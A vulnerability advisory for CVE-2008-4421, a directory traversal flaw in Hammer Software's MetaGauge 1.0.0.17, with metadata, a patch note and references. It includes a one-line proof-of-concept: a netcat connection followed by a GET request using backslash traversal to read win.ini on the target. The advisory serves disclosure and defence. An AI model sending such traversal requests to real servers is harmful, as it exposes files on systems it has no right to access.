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Topic :

MetaGauge 1.0.0.17 Directory Traversal

SecurityAlert : 4360

CVE : CVE-2008-4421

CWE : CWE-22

SecurityRisk : High Security Risk High

(About)

Remote Exploit : Yes

Local Exploit : No

Victim interaction required : No

Exploit Available : Yes

ExploitAlert :

4850

Credit : brad antoniewicz

Published : 09.10.2008

Affected Software :

hammer-software:metagauge:1.0.0.17
hammer-software:metagauge:1.0.0.20 and previous versions

Advisory Content :

Title: MetaGauge 1.0.0.17 Directory Traversal

-------------------------------------------------------------

Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue
in the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17
(and potentially below) which allows a remote user to view files local to
the target server.

Example:

C:\> nc targethost 2004

GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1

Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE: CVE-2008-4421

Credit:

Brad Antoniewicz

brad.antoniewicz (at) foundstone (dot) com [email concealed]

References :

http://securityreason.com/expldownload/1/4850/1 (Exploit)

http://www.securityfocus.com/bid/31596

http://www.securityfocus.com/archive/1/archive/1/497039/100/0/threaded

http://www.milw0rm.com/exploits/6686

http://www.frsirt.com/english/advisories/2008/2747

http://secunia.com/advisories/32094

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